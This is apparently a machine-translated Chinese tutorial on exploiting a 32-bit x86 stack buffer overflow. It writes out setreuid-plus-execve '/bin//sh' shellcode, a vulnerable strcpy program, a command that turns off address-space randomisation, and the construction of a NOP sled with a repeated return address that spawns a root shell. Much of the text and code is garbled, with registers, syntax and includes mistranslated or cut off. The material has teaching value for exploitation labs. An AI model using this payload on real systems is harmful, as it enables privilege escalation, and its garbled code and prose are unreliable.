核心提示:1。shellcode写所谓的shellcode,是通过一块机器代码到shell命令行。Shellcode可以以多种方式获得,如裸体的16进制码(通常很少有人这样做的…
1。shellcode的编写



所谓的shellcode是通过一个机器代码到shell命令行。Shellcode可以以多种方式获得,如裸体的16进制码(通常很少有人这样做。),

编写汇编代码并将其转换为机器代码是很常见的。

在这里分享一个简单的shellcode的生成过程,第一次写的汇编代码,如下:




Setreuid
char * shell { 2 };
外壳{ 0 }
外壳{ 1 } 0
execve(壳{ 0 }、壳、空)


nasm -f elf shellcode32.asm
LD-M elf_i386 O O shellcode32 shellcode32。
32位
文本部分。
全球_start

_start:
Setreuid(0, 0)
XOR EAX,EAX
MOV AL,0x46
异或ebx,EBX
XOR ECX,ECX
int 0x80


产卵与execve shellcode
XOR EAX,EAX;清除EAX登记,设置为0
压入;入栈空值,值的值
推0x68732f2f;推 / / sh'onto栈,4bytes对齐
推0x6e69622f;推 / bin'onto堆栈,注意字符串反转
mov ebx,ESP;由于ESP现在点 / / / SH仓
压入;EAX还是空白,让我们终止字符** argv堆栈
推EBX;还需要一个指针的地址 / bin / / SH,使用
mov ecx,ESP ESP;现在持有的参数的地址,移动它
异或EDX,EDX;集能谱为零
MOV AL,0xb;设置系统调用execve
int 0x80;调用系统调用





然后验证代码是否可行,如下图所示:




现在可以提取16进制的机器代码:nasm -f bin shellcode32.asm O sc.bin



2。具有缓冲区溢出漏洞的程序溢出





#包括
#包括
int main(int argc、argv char *)
{
字符{ { 300 };
char名称{ 400 };
Strcpy(名字,argv { 1 });
}



三.如何利用缓存溢出漏洞

首先,您需要了解x86的函数调用和堆栈的内存布局。

堆栈从高地址到低地址。当调用函数时,它将首先将参数按相反的顺序插入堆栈中,然后将其按入堆栈中,最后调用调用将传输控制转换为函数执行。

然后利用缓冲区漏洞来利用堆栈的向下增长特性,如果函数中的变量溢出,则溢出到高位地址,从而覆盖。当函数返回时,它将跳转到修改后的。



正常记忆结构:

| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;| mdash;mdash;| mdash;mdash;mdash;mdash;|

|可能溢出的缓冲区| EBP EIP | |

| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;| mdash;mdash;| mdash;mdash;mdash;mdash;|

旧内存结构:

| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash |;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;|

NOP | shellcode | |命令大量重复地址|

| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;| mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash |;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;mdash;|

这里是0x90 NOP指令,这个指令,CPU不做任何事,并继续执行下一个指令。

重复的地址应在NOP指令的地址范围,所以当函数返回时,EIP指向NOP,然后它将继续运行,直到它运行到shellcode部分。



4。实例



回声0> /过程/系统/内核/ randomize_va_space关闭地址空间随机化

GCC - G - M32的Z execstack溢出。C O溢出编译一个有漏洞的程序,允许堆栈被执行和调试。



Tingw:~ / / / C程序x86 /开发/测试get_esp。C #



#包括
unsigned int get_sp(void)
{
__asm__(movl ESP,êx);
}
主()
{
printf(堆栈pronter(ESP):0x%x
}



通过上面的代码,获得进程的初始堆栈:

Tingw:~ / / / C程序x86 /开发/测试gcc M32 - O get_esp get_esp。C #

Tingw:~ / / / C程序x86 /开发/测试/ get_esp #。

栈pronter(ESP):0xffffd484

Tingw:~ / / / C程序x86 /开发/测试#

>
现在我们调试overlfow过400自身参数直到EIP的值覆盖,如下图:



我们从图中可以看到,当输入量达到700字节,返回地址EIP已经涵盖(0x41)。这样,我们可以把输入的字符串的长度为700,和shellcode是第一步中获得的sc.bin。

我们看到,sc.bin长度是35个字节,如下图:





对NOP指令的长度和重复地址的总和(700-35)= 665

根据上面得到的地址是0xffffd484 ESP,然后为了使EIP落入NOP指令,我们可以选择重复地址的0xffffd484-700环境变量所占用的空间,我们选择0xffffd0cf。

为了使这个地址尽可能多的NOP地区,我们选择NOP指令为433个字节,剩下的232个字节(665-433)来存储地址。

此缓存区域的构造是:

433字节NOP + 35字节的shellcode + 58 4字节。



让我们从运行效果看,如下图(因为x86是小端字节序,所以它必须储存在0xcf0xd00xff0xff形式):





Shellcode正确地执行。